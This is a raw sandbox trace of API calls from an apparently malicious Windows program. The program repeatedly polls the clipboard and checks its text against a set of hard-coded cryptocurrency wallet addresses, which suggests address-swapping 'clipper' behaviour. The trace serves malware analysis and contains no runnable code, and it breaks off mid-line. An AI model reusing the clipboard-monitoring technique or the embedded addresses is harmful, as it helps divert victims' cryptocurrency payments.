lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0049.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0049.869] Sleep (dwMilliseconds=0x64) [0049.981] GetOpenClipboardWindow () returned 0x0 [0049.981] OpenClipboard (hWndNewOwner=0x0) returned 1 [0049.981] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0049.982] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0049.982] GlobalSize (hMem=0x6069b8) returned 0x42 [0049.982] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0049.982] GlobalUnlock (hMem=0x6069b8) returned 1 [0049.982] CloseClipboard () returned 1 [0049.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.986] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.986] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.986] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.986] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.986] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.986] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0049.986] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0049.986] Sleep (dwMilliseconds=0x64) [0050.099] GetOpenClipboardWindow () returned 0x0 [0050.099] OpenClipboard (hWndNewOwner=0x0) returned 1 [0050.099] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0050.099] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0050.099] GlobalSize (hMem=0x6069b8) returned 0x42 [0050.099] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0050.099] GlobalUnlock (hMem=0x6069b8) returned 1 [0050.099] CloseClipboard () returned 1 [0050.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 